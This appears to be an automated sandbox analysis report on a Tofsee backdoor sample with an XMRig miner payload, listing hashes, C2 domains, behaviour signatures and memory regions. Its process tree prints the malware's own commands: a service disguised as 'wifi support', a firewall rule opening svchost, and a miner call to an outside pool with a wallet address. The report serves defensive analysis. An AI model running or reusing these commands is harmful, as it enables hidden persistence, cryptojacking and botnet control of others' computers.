Analysis

  • max time kernel
    295s
  • max time network
    303s
  • platform
    windows7_x64
  • resource
    win7-20231023-en
  • resource tags

    arch:x64arch:x86image:win7-20231023-enlocale:en-usos:windows7-x64system
  • submitted
    19/11/2023, 22:17

General

  • Target

    3220bd6063d386c5e51b1f13aad50c6d0ac54c52f45911a30b133195ac85d1f6.exe

  • Size

    257KB

  • MD5

    815a6bc73b581777945c004fbb0df6a8

  • SHA1

    281cd70aaa223b57e91d652e03eeeeb1682e5312

  • SHA256

    3220bd6063d386c5e51b1f13aad50c6d0ac54c52f45911a30b133195ac85d1f6

  • SHA512

    f28e1db3a2eda5b77e531ddbe6c8c15a8c93b6546eddc5206bca7183bbfa3cf4bf0458dfbc6d4af18d8bc7ad2e4093d3360cc071abbb7653c8b55e885dbebefd

  • SSDEEP

    3072:zPLwx2C81Tcw2igVdotgCle3Q8dtUqo73NIktGyqPYRB2P7ovb9P4:rU8dX2igqhp8bE73nIfk2jM

Malware Config

Extracted

Family

tofsee

C2

vanaheim.cn

jotunheim.name

Signatures

  • Tofsee

    Backdoor/botnet which carries out malicious activities based on commands from a C2 server.

  • Windows security bypass 2 TTPs 1 IoCs
  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • XMRig Miner payload 7 IoCs
  • Creates new service(s) 1 TTPs
  • Modifies Windows Firewall 1 TTPs 1 IoCs
  • Sets service image path in registry 2 TTPs 1 IoCs
  • Deletes itself 1 IoCs
  • Executes dropped EXE 1 IoCs
  • Drops file in System32 directory 2 IoCs
  • Suspicious use of SetThreadContext 2 IoCs
  • Launches sc.exe 3 IoCs

    Sc.exe is a Windows utlilty to control services on the system.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Modifies data under HKEY_USERS 9 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 36 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\3220bd6063d386c5e51b1f13aad50c6d0ac54c52f45911a30b133195ac85d1f6.exe
    "C:\Users\Admin\AppData\Local\Temp\3220bd6063d386c5e51b1f13aad50c6d0ac54c52f45911a30b133195ac85d1f6.exe"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:2200
    • C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /C mkdir C:\Windows\SysWOW64\liwymvlk\
      2⤵
        PID:2300
      • C:\Windows\SysWOW64\cmd.exe
        "C:\Windows\System32\cmd.exe" /C move /Y "C:\Users\Admin\AppData\Local\Temp\etlsxvas.exe" C:\Windows\SysWOW64\liwymvlk\
        2⤵
          PID:2696
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" create liwymvlk binPath= "C:\Windows\SysWOW64\liwymvlk\etlsxvas.exe /d\"C:\Users\Admin\AppData\Local\Temp\3220bd6063d386c5e51b1f13aad50c6d0ac54c52f45911a30b133195ac85d1f6.exe\"" type= own start= auto DisplayName= "wifi support"
          2⤵
          • Launches sc.exe
          PID:1464
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" description liwymvlk "wifi internet conection"
          2⤵
          • Launches sc.exe
          PID:2720
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" start liwymvlk
          2⤵
          • Launches sc.exe
          PID:2704
        • C:\Windows\SysWOW64\netsh.exe
          "C:\Windows\System32\netsh.exe" advfirewall firewall add rule name="Host-process for services of Windows" dir=in action=allow program="C:\Windows\SysWOW64\svchost.exe" enable=yes>nul
          2⤵
          • Modifies Windows Firewall
          PID:2764
      • C:\Windows\SysWOW64\liwymvlk\etlsxvas.exe
        C:\Windows\SysWOW64\liwymvlk\etlsxvas.exe /d"C:\Users\Admin\AppData\Local\Temp\3220bd6063d386c5e51b1f13aad50c6d0ac54c52f45911a30b133195ac85d1f6.exe"
        1⤵
        • Executes dropped EXE
        • Suspicious use of SetThreadContext
        • Suspicious use of WriteProcessMemory
        PID:2660
        • C:\Windows\SysWOW64\svchost.exe
          svchost.exe
          2⤵
          • Windows security bypass
          • Sets service image path in registry
          • Deletes itself
          • Drops file in System32 directory
          • Suspicious use of SetThreadContext
          • Modifies data under HKEY_USERS
          • Suspicious use of WriteProcessMemory
          PID:2552
          • C:\Windows\SysWOW64\svchost.exe
            svchost.exe -o fastpool.xyz:10060 -u 9mLwUkiK8Yp89zQQYodWKN29jVVVz1cWDFZctWxge16Zi3TpHnSBnnVcCDhSRXdesnMBdVjtDwh1N71KD9z37EzgKSM1tmS.200000 -p x -k -a cn/half --cpu-priority 1
            3⤵
            • Suspicious use of AdjustPrivilegeToken
            PID:2860

      Network

            MITRE ATT&CK Enterprise v15

            Replay Monitor

            Loading Replay Monitor...

            Downloads

            • C:\Users\Admin\AppData\Local\Temp\etlsxvas.exe

              Filesize

              11.7MB

              MD5

              b6451ea516d41a6e1a59a00268a30ccc

              SHA1

              ce805a75cbe53d0688a1acb118687c793bf132e9

              SHA256

              273fa6ce60ba4d4dfe766ed86246fc21ead1fff73daee367a186fd0396fb268d

              SHA512

              b378cbddded4e0bb8ce441ada1b7562088d2cf2901482fdb8f88124bb1667bb930587cc32cd0ae823017364833b0ce03c45022343db387b46bd63da4ecb439b1

            • C:\Windows\SysWOW64\liwymvlk\etlsxvas.exe

              Filesize

              11.7MB

              MD5

              b6451ea516d41a6e1a59a00268a30ccc

              SHA1

              ce805a75cbe53d0688a1acb118687c793bf132e9

              SHA256

              273fa6ce60ba4d4dfe766ed86246fc21ead1fff73daee367a186fd0396fb268d

              SHA512

              b378cbddded4e0bb8ce441ada1b7562088d2cf2901482fdb8f88124bb1667bb930587cc32cd0ae823017364833b0ce03c45022343db387b46bd63da4ecb439b1

            • memory/2200-1-0x00000000005F0000-0x00000000006F0000-memory.dmp

              Filesize

              1024KB

            • memory/2200-4-0x0000000000400000-0x00000000004F4000-memory.dmp

              Filesize

              976KB

            • memory/2200-3-0x0000000000220000-0x0000000000233000-memory.dmp

              Filesize

              76KB

            • memory/2200-7-0x0000000000400000-0x00000000004F4000-memory.dmp

              Filesize

              976KB

            • memory/2552-38-0x0000000000160000-0x0000000000170000-memory.dmp

              Filesize

              64KB

            • memory/2552-41-0x0000000000160000-0x0000000000170000-memory.dmp

              Filesize

              64KB

            • memory/2552-10-0x00000000000D0000-0x00000000000E5000-memory.dmp

              Filesize

              84KB

            • memory/2552-61-0x00000000000D0000-0x00000000000E5000-memory.dmp

              Filesize

              84KB

            • memory/2552-14-0x00000000000D0000-0x00000000000E5000-memory.dmp

              Filesize

              84KB

            • memory/2552-57-0x0000000000540000-0x0000000000547000-memory.dmp

              Filesize

              28KB

            • memory/2552-19-0x00000000000D0000-0x00000000000E5000-memory.dmp

              Filesize

              84KB

            • memory/2552-20-0x00000000000D0000-0x00000000000E5000-memory.dmp

              Filesize

              84KB

            • memory/2552-22-0x0000000001AA0000-0x0000000001CAF000-memory.dmp

              Filesize

              2.1MB

            • memory/2552-25-0x0000000001AA0000-0x0000000001CAF000-memory.dmp

              Filesize

              2.1MB

            • memory/2552-26-0x0000000000080000-0x0000000000086000-memory.dmp

              Filesize

              24KB

            • memory/2552-29-0x0000000000160000-0x0000000000170000-memory.dmp

              Filesize

              64KB

            • memory/2552-32-0x0000000000160000-0x0000000000170000-memory.dmp

              Filesize

              64KB

            • memory/2552-33-0x0000000000160000-0x0000000000170000-memory.dmp

              Filesize

              64KB

            • memory/2552-34-0x0000000000160000-0x0000000000170000-memory.dmp

              Filesize

              64KB

            • memory/2552-35-0x0000000000160000-0x0000000000170000-memory.dmp

              Filesize

              64KB

            • memory/2552-36-0x0000000000160000-0x0000000000170000-memory.dmp

              Filesize

              64KB

            • memory/2552-37-0x0000000000160000-0x0000000000170000-memory.dmp

              Filesize

              64KB

            • memory/2552-11-0x000000007EFDE000-0x000000007EFDF000-memory.dmp

              Filesize

              4KB

            • memory/2552-39-0x0000000000160000-0x0000000000170000-memory.dmp

              Filesize

              64KB

            • memory/2552-40-0x0000000000160000-0x0000000000170000-memory.dmp

              Filesize

              64KB

            • memory/2552-56-0x0000000005620000-0x0000000005A2B000-memory.dmp

              Filesize

              4.0MB

            • memory/2552-42-0x0000000000160000-0x0000000000170000-memory.dmp

              Filesize

              64KB

            • memory/2552-43-0x0000000000160000-0x0000000000170000-memory.dmp

              Filesize

              64KB

            • memory/2552-44-0x0000000000160000-0x0000000000170000-memory.dmp

              Filesize

              64KB

            • memory/2552-45-0x0000000000160000-0x0000000000170000-memory.dmp

              Filesize

              64KB

            • memory/2552-46-0x0000000000160000-0x0000000000170000-memory.dmp

              Filesize

              64KB

            • memory/2552-47-0x0000000000160000-0x0000000000170000-memory.dmp

              Filesize

              64KB

            • memory/2552-48-0x0000000000160000-0x0000000000170000-memory.dmp

              Filesize

              64KB

            • memory/2552-49-0x0000000000170000-0x0000000000175000-memory.dmp

              Filesize

              20KB

            • memory/2552-52-0x0000000000170000-0x0000000000175000-memory.dmp

              Filesize

              20KB

            • memory/2552-53-0x0000000005620000-0x0000000005A2B000-memory.dmp

              Filesize

              4.0MB

            • memory/2660-12-0x0000000000400000-0x00000000004F4000-memory.dmp

              Filesize

              976KB

            • memory/2660-16-0x0000000000400000-0x00000000004F4000-memory.dmp

              Filesize

              976KB

            • memory/2660-9-0x0000000000620000-0x0000000000720000-memory.dmp

              Filesize

              1024KB

            • memory/2860-62-0x0000000000120000-0x0000000000211000-memory.dmp

              Filesize

              964KB

            • memory/2860-64-0x0000000000120000-0x0000000000211000-memory.dmp

              Filesize

              964KB

            • memory/2860-68-0x000000007EFDE000-0x000000007EFDF000-memory.dmp

              Filesize

              4KB

            • memory/2860-72-0x0000000000120000-0x0000000000211000-memory.dmp

              Filesize

              964KB

            • memory/2860-73-0x0000000000120000-0x0000000000211000-memory.dmp

              Filesize

              964KB

            • memory/2860-74-0x0000000000120000-0x0000000000211000-memory.dmp

              Filesize

              964KB

            • memory/2860-75-0x0000000000120000-0x0000000000211000-memory.dmp

              Filesize

              964KB

            • memory/2860-76-0x0000000000120000-0x0000000000211000-memory.dmp

              Filesize

              964KB

            • memory/2860-77-0x0000000000120000-0x0000000000211000-memory.dmp

              Filesize

              964KB